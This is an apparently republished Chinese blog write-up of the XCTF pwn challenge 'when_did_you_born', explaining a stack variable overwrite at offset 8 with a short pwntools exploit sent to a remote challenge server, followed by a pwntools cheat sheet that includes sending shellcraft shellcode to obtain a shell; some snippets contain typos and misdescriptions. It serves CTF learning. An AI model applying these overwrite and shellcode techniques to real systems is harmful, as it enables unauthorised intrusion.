day-5 xctf-when_did_you_born
阅读原文时间:2023年07月16日阅读:2

xctf-when_did_you_born

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051

checksec文件:

没啥,ida打开:

第一个判断v5应该不等于1926,第二次判断应该等于1926,看到v4,双击进入,可以查看到v5和v4都是同一stack下的,用v4覆盖v5的位置,实现第二个判断为1926。

在最上面定义可以看到,相对偏移为8。

构造exp:

from pwn import *

#cnn = process('./when_did_you_born')

cnn = remote('111.198.29.45',33487)

payload = 'a'*8+p64(1926)

cnn.recvuntil('Your Birth?')

cnn.sendline('1926')

cnn.sendline(payload)

cnn.interactive() 

运行一下,可以得到flag:

总结:唔。。。这是昨天的升级版。

额外小知识:

# Pwntools环境预设
from pwn import *
context.arch = "amd64/i386" #指定系统架构
context.terminal = ["tmux,"splitw","-h"] #指定分屏终端
context.os = "linux" #context用于预设环境

库信息

elf = ELF('./PWNME') # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
libc = ELF('lib/i386-linux-gnu/libc-2.23.so') # 载入libc的库,可以通过vmmap查看
/*
首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如

e = ELF('/bin/cat')
print hex(e.address) # 文件装载的基地址
print hex(e.symbols['write']) # plt中write函数地址
print hex(e.got['write']) # GOT表中write符号的地址
print hex(e.plt['write']) # PLT表中write符号的地址
*/

Pwntools通信

p = process('./pwnme') # 本地 process与程序交互
r = remote('exploitme.example.com',3333) # 远程

交互

recv() # 接收数据,一直接收
recv(numb=4096,timeout=default) # 指定接收字节数与超时时间
recvuntil("111") # 接收到111结束,可以裁剪,如.[1:4]
recbline() # 接收到换行结束
recvline(n) # 接收到n个换行结束
recvall() # 接收到EOF
recvrepeat(timeout=default) #接收到EOF或timeout
send(data) # 发送数据
sendline(data) # 发送一行数据,在末尾会加\n
sendlineafter(delims,data) # 在程序接收到delims再发送data
r.send(asm(shellcraft.sh())) # 信息通信交互
r.interactive() # send payload后接收当前的shell

字符串与地址的转换

p64(),p32() #将字符串转化为ascii字节流
u64(),u32() #将ascii的字节流解包为字符串地址

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章